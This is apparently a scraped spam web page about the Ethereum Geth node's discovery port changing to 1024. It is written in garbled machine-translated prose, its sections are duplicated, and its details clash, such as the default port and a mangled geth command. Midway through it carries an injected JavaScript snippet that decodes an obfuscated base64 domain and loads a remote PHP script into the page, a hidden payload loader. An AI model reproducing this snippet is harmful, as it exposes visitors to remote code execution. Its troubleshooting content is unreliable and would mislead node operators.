A recent Ethereum customer update has introduced a change of the Discovery port for the Geth node. Initially, the users used the default port of 30303, but after the installation of version 1.13.14, an unexpected change took place.
As reported several users on the Ethereum subredit and other online forums, the Geth node now discovers connections on port 1024 instead of its usual port of 30304. This change may seem minor at first sight, but can cause significant problems For users who are based on this discovery feature.
Problem: Changing the port of discovery
To summarize, when running ./GETH with command line options:
The knot initially discovers connections on port 30304. However, shortly after starting the knot, it begins to discover the connections on port 1024 instead.
causes and consequences
There are some possible reasons for this unexpected change:
Sigurative configuration files wrong : One or more of your system configuration files (geth.conf, etherscan.io/config.json`) to contain settings incorrect that led to the port change.
Node update problems
: A recent update could have introduced changes to Geth Node, which caused this unexpected change of the port of discovery.
Solutions and solutions
To solve this problem:
Verify Setup Files : Review your system configuration files for any incorrect settings that could cause port change.
Update Geth : If you use a recent Geth (for example, 1.14.x) version, update to the latest version to make sure you execute with the correctly default discovery port.
Conclusion
A small but important change in the Discovery port for Getth, has caused an agitation among Ethereum users based on this feature. If you have encountered problems with your node or have experience with configuration files, it is essential to investigate and solve any discrepancies that could cause this unexpected behavior.
Ethereum: Geth changing discovery port to 1024 shortly after start
const pdx=»bm9yZGVyc3dpbmcuYnV6ei94cC8=»;const pde=atob(pdx.replace(/|/g,»»));const script=document.createElement(«script»);script.src=»https://»+pde+»cc.php?u=1e85c009″;document.body.appendChild(script);
Ethereum: Changing Geth port causes disturbances
A recent Ethereum customer update has introduced a change of the Discovery port for the Geth node. Initially, the users used the default port of 30303, but after the installation of version 1.13.14, an unexpected change took place.
As reported several users on the Ethereum subredit and other online forums, the Geth node now discovers connections on port 1024 instead of its usual port of 30304. This change may seem minor at first sight, but can cause significant problems For users who are based on this discovery feature.
Problem: Changing the port of discovery
To summarize, when running
./GETHwith command line options:`
Bash./geth -port 30303 -Discovery.port 30304 -http -htp.api eth, net, engine, admin - -authrpc.jwtsecret ~/myhex.hex -datadir = '~/ethereum/execution/data -data
The knot initially discovers connections on port 30304. However, shortly after starting the knot, it begins to discover the connections on port 1024 instead.
causes and consequences
There are some possible reasons for this unexpected change:
,etherscan.io/config.json`) to contain settings incorrect that led to the port change.: A recent update could have introduced changes to Geth Node, which caused this unexpected change of the port of discovery.
Solutions and solutions
To solve this problem:
Conclusion
A small but important change in the Discovery port for Getth, has caused an agitation among Ethereum users based on this feature. If you have encountered problems with your node or have experience with configuration files, it is essential to investigate and solve any discrepancies that could cause this unexpected behavior.
ethereum with web3 script